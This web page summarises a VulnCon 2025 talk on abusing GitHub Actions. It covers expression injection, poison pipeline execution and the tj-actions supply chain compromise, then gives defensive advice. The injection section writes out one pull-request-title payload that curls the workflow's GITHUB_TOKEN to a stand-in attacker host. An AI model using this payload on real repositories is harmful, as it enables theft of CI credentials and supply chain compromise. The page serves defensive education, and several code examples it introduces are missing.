Breaking the Build: How Attackers Abuse GitHub Actions

Jonathan Evans (GitHub Advisory Coordinator · GitHub)

CVE/FIRST VulnCon 2025 · Main Stage

Overview

In his VulnCon talk, "Breaking the Build: How Attackers Abuse GitHub Actions," Jonathan Evans, a GitHub Advisory Coordinator/Curator, meticulously dissects the critical security vulnerabilities inherent in GitHub's popular automation feature. The presentation serves as a stark warning and an essential guide for developers and security professionals leveraging GitHub Actions for their CI/CD (Continuous Integration/Continuous Deployment) pipelines. Evans illuminates how seemingly innocuous misconfigurations or a lack of understanding of GitHub Actions' underlying mechanisms can lead to severe security breaches, including the theft of sensitive credentials and widespread supply chain compromise.

Watch on YouTube

Visual summary for Breaking the Build: How Attackers Abuse GitHub Actions by Jonathan Evans
Visual summary for Breaking the Build: How Attackers Abuse GitHub Actions by Jonathan Evans

Key moments

  1. 0:00 Introduction and GitHub Actions overview
  2. 3:20 Understanding GitHub Token permissions and user-controlled data
  3. 4:40 Vulnerability 1: Actions Expression Injection explained
  4. 7:00 Vulnerability 2: Poison Pipeline Execution introduced
  5. 8:40 Vulnerability 3: Supply Chain Attack (Coinbase/Spotbugs incident)
  6. 9:40 Personal Access Token (PAT) misuse enabling supply chain pivot

Breaking the Build: How Attackers Abuse GitHub Actions

Speakers: Jonathan Evans, GitHub Advisory Coordinator/Curator

Conference: VulnCon

YouTube: https://www.youtube.com/watch?v=Ia5HUSyTrU0

Overview

In his VulnCon talk, "Breaking the Build: How Attackers Abuse GitHub Actions," Jonathan Evans, a GitHub Advisory Coordinator/Curator, meticulously dissects the critical security vulnerabilities inherent in GitHub's popular automation feature. The presentation serves as a stark warning and an essential guide for developers and security professionals leveraging GitHub Actions for their CI/CD (Continuous Integration/Continuous Deployment) pipelines. Evans illuminates how seemingly innocuous misconfigurations or a lack of understanding of GitHub Actions' underlying mechanisms can lead to severe security breaches, including the theft of sensitive credentials and widespread supply chain compromise.

The talk is particularly relevant given the pervasive adoption of GitHub Actions across open-source projects and enterprise environments. As organizations increasingly rely on automated workflows for building, testing, and deploying code, understanding the attack vectors and implementing robust defensive strategies becomes paramount. Evans' insights, drawn from his experience curating GitHub advisories and assigning CVIDs, provide a practical and sobering perspective on the real-world implications of insecure GitHub Action usage, making this a must-watch for anyone involved in modern software development and security.

Background

▶ Watch: Introduction and GitHub Actions overview (0:00)

GitHub Actions offer a powerful, flexible platform for automating virtually any workflow directly within the GitHub ecosystem. These workflows are defined in YAML files stored in the .github/workflows directory of a repository. Each workflow comprises three fundamental elements: a triggering event, one or more jobs, and a series of steps within those jobs. Triggers can range from common events like pushing commits or creating pull requests to scheduled runs or manual dispatches.

Jobs execute on either GitHub-hosted runners (VMs provided by GitHub for Ubuntu, Windows, or Mac) or self-hosted machines. Each job runs in isolation but steps within a job share the same OS environment, allowing information to be passed between them. A critical security aspect is the GitHub token automatically provisioned for each workflow. This token dictates the permissions the workflow or job has to interact with the GitHub API and repository data. By default, pull requests might grant read or write access depending on the specific trigger used (e.g., pull_request vs. pull_request_target). Critically, these default permissions can be overridden at the workflow or job level, offering a crucial control point for security.

Workflows also have access to event context data, which includes information about the event that triggered the workflow (e.g., pull request title, author, comment content). A significant security concern highlighted by Evans is that some of this context data is user-controlled. This means input from external users – such as a pull request title or a comment – can directly influence workflow execution, creating ripe conditions for injection attacks if not handled with extreme caution. Furthermore, developers often reuse pre-existing actions from the GitHub Marketplace, introducing potential supply chain risks if these external dependencies are not properly vetted or pinned to immutable versions.

Key Findings

▶ Watch: Vulnerability 1: Actions Expression Injection explained (4:40)

Jonathan Evans' talk identifies and elaborates on three primary categories of vulnerabilities that attackers exploit within GitHub Actions, each representing a distinct and dangerous method for compromising build pipelines and potentially broader software supply chains:

  1. Action Expression Injection: This vulnerability arises when user-controlled input is directly evaluated as part of a GitHub Action expression before the shell command is executed. Attackers can inject malicious shell metacharacters or commands, leading to arbitrary code execution within the workflow's runner environment.
  1. Poison Pipeline Execution (PPE): PPE involves injecting malicious code or configurations into the repository that are then executed by a legitimate workflow. This often occurs when workflows check out and execute code from user-controlled sources (like a pull request branch) without sufficient validation or permission restrictions, allowing the attacker's code to run with the workflow's elevated privileges.
  1. Supply Chain Attacks: This is the most sophisticated category, leveraging initial PPE or other vulnerabilities to compromise upstream dependencies or maintainer accounts. Attackers then manipulate version tags or inject malicious code into widely used actions, propagating the attack downstream to all projects that consume those compromised components, leading to widespread credential theft and system compromise.

These findings collectively demonstrate that the power and flexibility of GitHub Actions, if not handled with a deep understanding of their security implications, can transform them into significant attack surfaces for malicious actors.

Technical Deep Dive

▶ Watch: Vulnerability 2: Poison Pipeline Execution introduced (7:00)

The core of Evans' presentation delves into the technical specifics of each vulnerability type, providing concrete examples and detailing the attack mechanisms.

Action Expression Injection

The first vulnerability, Action Expression Injection, capitalizes on how GitHub Actions evaluate expressions. Evans presents CVE-2023-3411 as a prime example. In this scenario, a vulnerable job might attempt to extract information, such as a version number, directly from a user-controlled field like a pull request title.

Consider a workflow step:

The problem lies in github.event.pull_request.title. If an attacker crafts a pull request title like v1.2.3 || curl http://attacker.com?token=${{ secrets.GITHUB_TOKEN }}, the GitHub Action expression evaluator will first resolve secrets.GITHUB_TOKEN to its value. Then, before the echo command is passed to the shell, the entire string v1.2.3 || curl http://attacker.com?token=ghs_XYZABC is formed. When the shell executes this, the || (OR) operator causes the curl command to run, exfiltrating the workflow's GITHUB_TOKEN to an attacker-controlled domain. This occurs because the expression is evaluated and replaced before the shell processes the string, treating the malicious code as part of the command itself.

To mitigate this, Evans suggests two primary approaches:

  1. Use JavaScript actions: When passing user input as a parameter to a JavaScript action, it's typically treated as a string literal and not interpreted as a shell command, thus neutralizing the injection.
  2. Intermediate environment variables: Store user-controlled data in an environment variable first, then reference the environment variable in subsequent shell commands. For example:

However, Evans cautions that even with environment variables, developers must be acutely aware of the specific shell being used and potential vulnerabilities like newline injection or globbing issues that could still allow attacks if the syntax is not handled correctly.

Poison Pipeline Execution (PPE)

Poison Pipeline Execution (PPE) represents a broader category where malicious code is injected into the pipeline itself. Evans illustrates this with a scenario where a workflow is triggered by a specific comment, checks out a pull request, and then executes commands on files within that pull request.

For instance, a workflow might contain a step like:

While github.event.issue.number is safe as it's controlled by GitHub, the critical vulnerability arises if the workflow checks out the pull request's code and then runs a generic command like make on a file within that checked-out code.

If an attacker submits a pull request containing a malicious Makefile (e.g., one that exfiltrates secrets or performs arbitrary system commands), the make command will execute it with the workflow's permissions. The key defense here is to strictly restrict who can have write permissions to the repository or to the specific branches that trigger sensitive workflows. This ensures that only trusted individuals can introduce code that might be executed in this manner.

Supply Chain Attacks

The most complex and impactful vulnerability type discussed is Supply Chain Attacks, exemplified by a recent incident targeting Coinbase. This multi-stage attack highlights how initial PPE vulnerabilities can escalate to compromise multiple projects and maintainer accounts.

The attack chain began with SpotBugs and SonarFindBugs. The attackers exploited a PPE vulnerability in SonarFindBugs, which was using the pull_request_target trigger. Crucially, pull_request_target grants write access by default to the base repository, unlike pull_request which defaults to read access. This elevated permission allowed the attackers to overwrite files within the repository.

The critical misstep by the maintainer was deciding to use their Personal Access Token (PAT) instead of a properly scoped GitHub token, due to perceived difficulty in configuring fine-grained permissions. This PAT, which carried all the maintainer's permissions, was then stolen by the attackers.

With the maintainer's PAT, the attackers gained full control. They used it to:

  1. Add a new, malicious member to the repository.
  2. Create a pull request from this new account to steal all of the repository's secrets, which included another maintainer's PAT.
  3. This second PAT provided access to both SpotBugs and ReviewDog repositories, allowing the attackers to expand their reach.

The attack escalated further when the attackers manipulated version tags. They changed the v1 tag of TJ Actions to point to a malicious commit. This is a critical vector because many projects pin their action dependencies to version tags (e.g., uses: tj-actions/checkout@v1). Any user who had previously configured their workflow to use tj-actions/checkout@v1 (which was once safe) would now unknowingly be executing the malicious version.

This compromise of TJ Actions led to the theft of TJ Actions' own PAT. The attackers then used this PAT to inject an additional script that would save any permissions from anyone running TJ Actions into their workflow logs. This had a widespread impact, affecting numerous repositories downstream.

Coinbase was identified as a target and did indeed run a workflow affected by the compromised TJ Actions. Fortunately, Coinbase detected the compromise within a few hours and removed the malicious workflow before the attackers changed all version tags to the unsafe commit, limiting the damage for them. This incident underscores the cascading nature of supply chain attacks and the critical importance of secure token management and dependency pinning.

Demo / Proof of Concept

▶ Watch: Vulnerability 3: Supply Chain Attack (Coinbase/Spotbugs incident) (8:40)

While Jonathan Evans' talk did not feature a live, interactive demonstration, the presentation effectively served as a detailed proof-of-concept through its use of specific examples and a real-world incident. The CVE-2023-3411 example for Action Expression Injection clearly illustrated how a malicious pull request title could lead to the exfiltration of a GITHUB_TOKEN by injecting shell metacharacters. This showcased the exact mechanism attackers would use to exploit such a vulnerability.

Similarly, the Poison Pipeline Execution scenario, where a workflow checks out and executes a user-controlled Makefile from a pull request, provided a concrete demonstration of how arbitrary code execution can be achieved. The explanation of how make would simply execute whatever commands were present in the attacker's Makefile served as a direct conceptual proof of concept for this attack vector.

The most compelling "demonstration" was the detailed breakdown of the Coinbase-related supply chain attack. By meticulously walking through the multi-stage compromise involving SpotBugs, SonarFindBugs, ReviewDog, and TJ Actions, Evans provided a comprehensive case study. This real-world incident, with its specific victims and methods (e.g., pull_request_target exploitation, PAT theft, v1 tag manipulation), functioned as an extensive proof of concept for how these vulnerabilities are chained together in practice to achieve significant impact. The fact that Coinbase was impacted and had to react swiftly further solidified the practical relevance and danger of these attack types. These examples, though not live code execution, effectively demonstrated the attack surface and the potential for severe consequences.

Defensive Implications

▶ Watch: Personal Access Token (PAT) misuse enabling supply chain pivot (9:40)

Securing GitHub Actions requires a multi-layered approach, addressing both configuration mistakes and fundamental security practices. Jonathan Evans outlines several critical defensive measures:

  1. Pin to Full SHA Commits, Not Version Tags: This is perhaps the most crucial defense against supply chain attacks involving compromised actions. Instead of using uses: owner/repo@v1 or uses: owner/repo@main, always specify the full SHA commit hash (e.g., uses: owner/repo@abcdef1234567890abcdef1234567890abcdef12). This ensures that your workflow always executes the exact, immutable version of the action you intend, preventing attackers from re-pointing version tags (like v1 or main) to malicious code.
  1. Implement Least Privilege: The GitHub token issued to workflows should have the absolute minimum permissions required for its tasks. GitHub allows setting permissions at the workflow level and, more granularly, at the job level. By default, pull_request_target grants write access, which is often excessive. Explicitly define permissions: read-all or specify only the necessary scopes (e.g., contents: read, pull-requests: write) at the job level to severely limit an attacker's capabilities even if a workflow is compromised. Avoid using Personal Access Tokens (PATs) in workflows, especially maintainer PATs, as they grant all privileges of the user and are a prime target for attackers. Instead, utilize fine-grained tokens or the built-in GitHub token with carefully scoped permissions.
  1. Validate User-Controlled Input: Treat all user-controlled data (e.g., pull request titles, comment bodies, branch names) as untrusted. When incorporating this data into shell commands, use intermediate environment variables to prevent Action Expression Injection. Always be mindful of the shell's parsing rules to avoid issues like newline injection.
  1. Restrict Write Access for PPE: To prevent Poison Pipeline Execution where malicious code from a pull request is executed, restrict who can push to sensitive branches or who can trigger workflows that execute arbitrary code from pull requests. Implement branch protection rules and ensure that workflows checking out external code (especially from forks) do not have overly permissive GitHub tokens.
  1. Utilize OpenID Connect (OIDC): For interactions with cloud resources (AWS, GCP, Azure), leverage OpenID Connect (OIDC) instead of long-lived cloud credentials stored as GitHub secrets. OIDC allows workflows to authenticate directly with cloud providers, exchanging a short-lived token for temporary credentials, significantly reducing the risk of static credential theft.
  1. Employ Security Scanning Tools: GitHub provides various code scanning actions that can be integrated into workflows to identify potential security vulnerabilities within the code itself and within the workflow definitions. Additionally, the OpenSSF Scorecards action helps secure workflow dependencies by evaluating the security posture of the open-source projects you rely on, providing insights into best practices like dependency pinning and vulnerability scanning.
  1. Understand Default Behaviors: As highlighted by the Q&A, GitHub Actions are not "secure by default." Developers must actively configure them for security. Understanding the default permissions of different pull request triggers (pull_request vs. pull_request_target) and the implications of using version tags versus SHAs is fundamental.

By diligently applying these defensive strategies, organizations can significantly reduce their exposure to GitHub Actions-related attacks and strengthen their overall software supply chain security posture.

Key Takeaways

  • Pin to Full SHA Commits: Always specify the full SHA commit hash for actions (e.g., actions/checkout@<SHA>) instead of mutable version tags (e.g., @v3 or @main) to prevent supply chain attacks through tag manipulation.
  • Implement Least Privilege: Configure GitHub tokens with the minimum necessary permissions at the job level. Avoid using broad Personal Access Tokens (PATs) in workflows, as they grant excessive access and are prime targets for attackers.
  • Validate All User Input: Treat all user-controlled data (like pull request titles or comments) as untrusted. Use intermediate environment variables to prevent Action Expression Injection when integrating such input into shell commands.
  • Restrict Repository Write Access: Limit who can trigger workflows that execute code from untrusted sources (e.g., pull requests from forks) to mitigate Poison Pipeline Execution (PPE) vulnerabilities.
  • Leverage OIDC for Cloud Access: Use OpenID Connect (OIDC) for authenticating with cloud providers to obtain short-lived credentials, reducing the risk associated with storing static cloud secrets in GitHub.
  • Adopt Security Tools: Integrate GitHub's built-in code scanning actions and OpenSSF Scorecards into your development pipeline to automatically identify and address vulnerabilities in your code and workflow dependencies.

About the Speaker(s)

Jonathan Evans is a GitHub Advisory Coordinator or Curator at GitHub. In this role, he is responsible for publishing advisories to the GitHub database and assigning CVIDs (CVE Identifiers) to vulnerabilities found in GitHub repositories. Prior to joining GitHub, Evans spent a decade working on the CVE program at MITRE, demonstrating a deep and extensive background in vulnerability management and identification. His expertise in tracking and classifying vulnerabilities makes him a highly credible authority on the security implications of development platforms like GitHub Actions.

Reviews

Dr. Zero (Offensive Security Researcher) — SOLID

Evans delivers a competent, well-structured survey of GitHub Actions attack surface — expression injection, PPE, and supply chain compromise — grounded in a real incident (the Coinbase/TJ Actions chain) and backed by actual CVEs. The content is accurate, the defensive guidance is practical, and his advisory background gives him credibility on the vulnerability taxonomy. But this is fundamentally a well-executed educational talk, not original research. The attack classes are documented, the Coinbase incident is public record, and the mitigations are GitHub's own published guidance restated clearly. Solid conference filler for a developer-security audience that hasn't done the homework; not…

Heather Calloway (CISO) — SOLID

Evans delivers a technically competent and well-structured breakdown of GitHub Actions attack vectors — injection, PPE, and supply chain compromise — anchored by a real incident involving Coinbase and a cascade of compromised maintainer tokens. The defensive guidance is specific and usable for engineering and security teams. The talk earns its place in the program, but it doesn't cross into must-watch territory for CISOs because it never surfaces the institutional and governance questions that the Coinbase incident actually raised: why maintainers reach for overprivileged PATs, why supply chain dependencies go unreviewed, and what accountability structures should govern CI/CD risk at the…

→ Top-rated talks at CVE/FIRST VulnCon 2025

All talks from CVE/FIRST VulnCon 2025